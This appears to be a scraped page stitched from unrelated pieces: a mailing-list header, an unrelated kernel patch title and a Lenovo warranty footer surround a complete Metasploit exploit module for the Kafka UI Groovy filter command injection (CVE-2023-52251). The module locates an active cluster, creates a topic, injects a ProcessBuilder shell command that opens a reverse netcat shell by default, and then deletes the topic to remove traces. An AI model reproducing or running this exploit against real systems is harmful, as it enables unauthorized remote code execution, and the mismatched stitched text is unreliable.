\* If your mail client supports setting the **In-Reply-To** header
  via mailto: links, try the mailto: link

Be sure your reply has a **Subject:** header at the top and a blank line before the message body.

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

CVE-2022-44033: [PATCH v3] char: pcmcia: cm4040_cs: Fix use-after-free in reader_fops

A command injection vulnerability exists in Kafka UI versions 0.4.0 through 0.7.1 that allows an attacker to inject and execute arbitrary shell commands via the groovy filter parameter at the topic section.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Kafka UI Unauthenticated Remote Command Execution via the Groovy Filter option.',        'Description' => %q{          A command injection vulnerability exists in Kafka ui between `v0.4.0` and `v0.7.1` allowing          an attacker to inject and execute arbitrary shell commands via the `groovy` filter parameter          at the `topic` section.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor          'BobTheShopLifter and Thingstad', # Discovery of the vulnerability CVE-2023-52251        ],        'References' => [          ['CVE', '2023-52251'],          ['URL', 'https://attackerkb.com/topics/ATJ1hTVB8H/cve-2023-52251'],          ['URL', 'https://github.com/BobTheShoplifter/CVE-2023-52251-POC']        ],        'DisclosureDate' => '2023-09-27',        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],        'Privileged' => false,        'Targets' => [          [            'Unix/Linux Command',            {              'Platform' => ['unix', 'linux'],              'Arch' => [ARCH_CMD],              'Type' => :unix_cmd,              'Payload' => {                'Encoder' => 'cmd/base64',                'BadChars' => "\x00"              },              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_netcat'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 8080,          'SSL' => false        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )  end  def vuln_version?    @version = ''    res = send_request_cgi({      'method' => 'GET',      'ctype' => 'application/json',      'uri' => normalize_uri(target_uri.path, 'actuator', 'info')    })    if res && res.code == 200 && (res.body.include?('build') || res.body.include?('git'))      res_json = res.get_json_document      unless res_json.blank?        if res.body.include?('build')          @version = res_json['build']['version'].delete_prefix('v') # remove v from vx.x.x        elsif res.body.include?('git')          # use case where only the git commit id gets returned without the version information          # determine version using the git commit id to match the first 7 chars of the sha commit stored in data/kafka_ui_versions.json file.          git_commit_id = res_json['git']['commit']['id']          kafka_ui_versions_json = JSON.parse(File.read(::File.join(Msf::Config.data_directory, 'kafka_ui_versions.json'), mode: 'rb'))          unless kafka_ui_versions_json.blank?            # loop thru the list of commits and return the version based a match on the first 7 chars of the sha commit else return nil            kafka_ui_versions_json.each do |tag|              if tag['commit']['sha'][0, 7] == git_commit_id                @version = tag['name'].delete_prefix('v')                break              end            end          end        end      end      return Rex::Version.new(@version) <= Rex::Version.new('0.7.1') && Rex::Version.new(@version) >= Rex::Version.new('0.4.0') if @version.match(/\d\.\d\.\d/)    end    false  end  def get_cluster    res = send_request_cgi({      'method' => 'GET',      'ctype' => 'application/json',      'uri' => normalize_uri(target_uri.path, 'api', 'clusters')    })    if res && res.code == 200 && res.body.include?('status')      res_json = res.get_json_document      unless res_json.blank?        # loop thru list of clusters and return an active cluster with topic count > 0 else return nil        res_json.each do |cluster|          if cluster['status'] == 'online' || cluster['topicCount'] > 0            return cluster['name']          end        end      end    end    nil  end  def create_topic(cluster)    topic_name = Rex::Text.rand_text_alphanumeric(4..10)    post_data = {      name: topic_name.to_s,      partitions: 1,      replicationFactor: 1,      configs:        {          'cleanup.policy': 'delete',          'retention.bytes': '-1'        }    }.to_json    res = send_request_cgi({      'method' => 'POST',      'ctype' => 'application/json',      'uri' => normalize_uri(target_uri.path, 'api', 'clusters', cluster.to_s, 'topics'),      'data' => post_data.to_s    })    if res && res.code == 200 && res.body.include?(topic_name.to_s)      res_json = res.get_json_document      unless res_json.blank?        return res_json['name']      end    end    nil  end  def delete_topic(cluster, topic)    res = send_request_cgi({      'method' => 'DELETE',      'ctype' => 'application/json',      'uri' => normalize_uri(target_uri.path, 'api', 'clusters', cluster.to_s, 'topics', topic.to_s)    })    return true if res && res.code == 200    false  end  def produce_message(cluster, topic)    # Create a dummy message to trigger the groovy script execution    post_data = {      partition: 0,      key: 'null',      content: 'null',      keySerde: 'String',      valueSerde: 'String'    }.to_json    res = send_request_cgi({      'method' => 'POST',      'ctype' => 'application/json',      'uri' => normalize_uri(target_uri.path, 'api', 'clusters', cluster.to_s, 'topics', topic.to_s, 'messages'),      'data' => post_data.to_s    })    return true if res && res.code == 200    false  end  def execute_command(cmd, _opts = {})    payload = "Process p=new ProcessBuilder(\"sh\",\"-c\",\"#{cmd}\").redirectErrorStream(true).start()"    return send_request_cgi({      'method' => 'GET',      'ctype' => 'application/x-www-form-urlencoded',      'uri' => normalize_uri(target_uri.path, 'api', 'clusters', @cluster.to_s, 'topics', @new_topic.to_s, 'messages'),      'vars_get' => {        'q' => payload.to_s,        'filterQueryType' => 'GROOVY_SCRIPT',        'attempt' => 2,        'limit' => 100,        'page' => 0,        'seekDirection' => 'FORWARD',        'keySerde' => 'String',        'valueSerde' => 'String',        'seekType' => 'BEGINNING'      }    })  end  def check    vprint_status("Checking if #{peer} can be exploited.")    return CheckCode::Appears("Kafka-ui version: #{@version}") if vuln_version?    unless @version.blank?      if @version.match(/\d\.\d\.\d/)        return CheckCode::Safe("Kafka-ui version: #{@version}")      else        return CheckCode::Detected("Kafka-ui unknown version: #{@version}")      end    end    CheckCode::Safe  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    vprint_status('Searching for active Kafka cluster...')    @cluster = get_cluster    fail_with(Failure::NotFound, 'Could not find or connect to an active Kafka cluster.') if @cluster.nil?    vprint_good("Active Kafka cluster found: #{@cluster}")    vprint_status('Creating a new topic...')    @new_topic = create_topic(@cluster)    fail_with(Failure::Unknown, 'Could not create a new topic.') if @new_topic.nil?    vprint_good("New topic created: #{@new_topic}")    vprint_status('Trigger Groovy script payload execution by creating a message...')    fail_with(Failure::PayloadFailed, 'Could not trigger the Groovy script payload execution.') unless produce_message(@cluster, @new_topic)    case target['Type']    when :unix_cmd      execute_command(payload.encoded)    end    # cleaning up the mess and remove new created topic    vprint_status('Removing tracks...')    if delete_topic(@cluster, @new_topic)      vprint_good("Successfully deleted topic #{@new_topic}.")    else      print_error("Could not delete topic #{@new_topic}. Manually cleaning required.")    end  endend

Search

lenovo warranty check/lookup | check warranty status | lenovo support us